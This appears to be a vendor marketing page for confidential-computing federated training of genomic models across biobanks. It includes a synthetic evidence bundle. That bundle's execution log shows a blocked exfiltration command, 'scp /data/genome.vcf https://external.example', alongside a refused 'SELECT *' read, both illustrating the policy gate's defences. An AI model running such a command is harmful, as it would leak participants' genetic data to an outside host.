All sectors

Sector brief · Clinical & Genomic Research

Train across biobanks without moving the DNA.

Multi-center genomic models meet inside a TEE. Each site approves its variant columns; the enclave aggregates gradients and returns only the approved model update, never raw sequences.

Run in your existing AWS, Azure or GCP tenant, with the same policy gate and the same silicon attestation.

  • GDPR Art. 9

    Genetic data stays at each site; only approved aggregates cross the boundary.

  • EHDS

    Multi-party secondary use with a per-site contract and an offline verifier.

  • Sovereignty

    Neither the cloud admin nor the model vendor can read raw sequences.

Module B · interactive demo

The policy gate holds when the workload does not.

A scripted walkthrough of the same gate that runs in production. Boot the enclave, then try to break the contract. Nothing here touches real data.

Pipeline Contract

PC-RES-2026-11

Signed
Purpose
Multi-center genomic model training
Reviewer
DPO / Multi-party DAC
Output limit
gradient update + metrics; no raw sequences
Retention
0 days raw; model update retained 90 days

Allowed columns

  • variant_allele_freq
  • variant_id
  • cohort_count
  • phenotype_group

Blocked by policy

  • raw_genome
  • participant_id
  • full_variant_table

Command allow-list

read_approved_variant_columns · aggregate_gradients · emit_model_update

contract_hash 090789488ca11536d63b40d11f…

tee://research/policy-gate

Armed

Awaiting action

Boot the enclave, then try to read a blocked column or open a network connection.

The gate is armed. The contract is signed.

chain head 3af27d540c97cebaf9…

Module C · architecture inspector

One trust anchor. Two perimeters.

The policy engine and workload run identically in both modes because the trust anchor is the CPU/GPU silicon, not the infrastructure owner.

Cloud Confidential VPC and on-premise air-gapped architecture comparison
Architectural layerCloud Confidential VPCOn-Premise / Air-Gapped
Where the data livesMulti-site confidential VPCs with a per-site contract and per-site attestation.Each biobank's own air-gapped racks; only encrypted gradients meet.
TEE hardware targetAWS Nitro Enclaves; Azure/GCP Confidential VMs on AMD SEV-SNP or Intel TDX; NVIDIA H100 confidential GPUs for training.Bare-metal AMD EPYC (SEV-SNP), Intel Xeon (TDX) and NVIDIA H100/Blackwell GPU TEEs over encrypted PCIe.
Who is locked out by the TEE?Cloud provider admins, the host OS/hypervisor and the external AI vendor.Internal root sysadmins, hypervisor operators and third-party model/agent developers.
Network & egress ruleEach site keeps its own zero-egress subnet; only attested gradient updates meet.Strictly air-gapped: 0.0.0.0 outbound blocked. The local verifier checks the silicon signature offline.

Data stays in your tenant and region. No copy is made to Compex.

Module D · evidence bundle

The file your CISO and legal reviewer can check themselves.

A sector-specific, synthetic bundle. The contract hash, hardware attestation quote and ordered execution chain are all pre-loaded for inspection.

evidence.jsonsynthetic · 4 KB · sha256 58ba840d7d69…summary.pdfsynthetic · 7 KB · sha256 c9cdc08cb59a…audit.csvsynthetic · 2 KB · sha256 42531f31e2f5…

Synthetic demo

No customer data is included. The bundle shows the exact shape a production run exports, including the refused operations.

EV-RES-2026-11-001.jsonVerified

contract_hash

090789488ca11536d63b40d11fe5b6a89f42a558fdd5cb1c59d86ae2297bb423

tee_attestation_quote

h4MHFwcW2qHz0rad/h1DwJ/jGL79mxeRVIRtRcXKfISHgwcXBxbaofPStp3+HUPAn+MYvv2bF5FUhG1Fxcp8hA==

AMD SEV-SNP + NVIDIA Blackwell CC · CPU and GPU reports verified · report_data binds the per-site contract hash and training digest

execution_hash_chain

  1. 001

    CONTRACTPipeline Contract PC-RES-2026-11 verified against the multi-party DAC signature.

    77a020a85ab72f24385f45359382db67061e0e02e15fb9e0dd05fc1f38031d73

  2. 002

    ATTESTAMD SEV-SNP and NVIDIA Blackwell reports verified; report_data binds the contract hash.

    bf604372210802dcb630f8a19fff0f23df2edf27afaa794b6109af7972df9762

  3. 003

    READAllow-listed read: variant_allele_freq, variant_id, cohort_count, phenotype_group.

    979463d4fb096678c8c9747e4700e02f63894f242a8f3831992b71bf59fc2a59

  4. 004

    OUTPUTSigned model update released: encrypted gradient delta + metrics only.

    0bfa69e7896e41f3ae3e31d85d7d9edc5f037c01c5f68ca840945bdd98963bae

  5. 005

    BLOCKEDOut-of-scope read refused: SELECT * row reconstruction.

    f93a58cda9caf523bbe8ee4b3168cc035aefab0f55de12e422ed0be457e9ea3e

  6. 006

    BLOCKEDEgress blocked: scp /data/genome.vcf https://external.example.

    44bcd2710972f157de155bfc34f7509c4f1d4d8ea84ae7876661e08d66a23817

  7. 007

    SEALEDEvidence bundle sealed; hash chain head signed by the TEE.

    3af27d540c97cebaf9b383f25e36dda404357f19d1f4bfd8efe95537162eb370

Bring one multi-site study.

We will connect the sites, aggregate the gradients and leave raw DNA where it belongs.

Or read the deployment docs.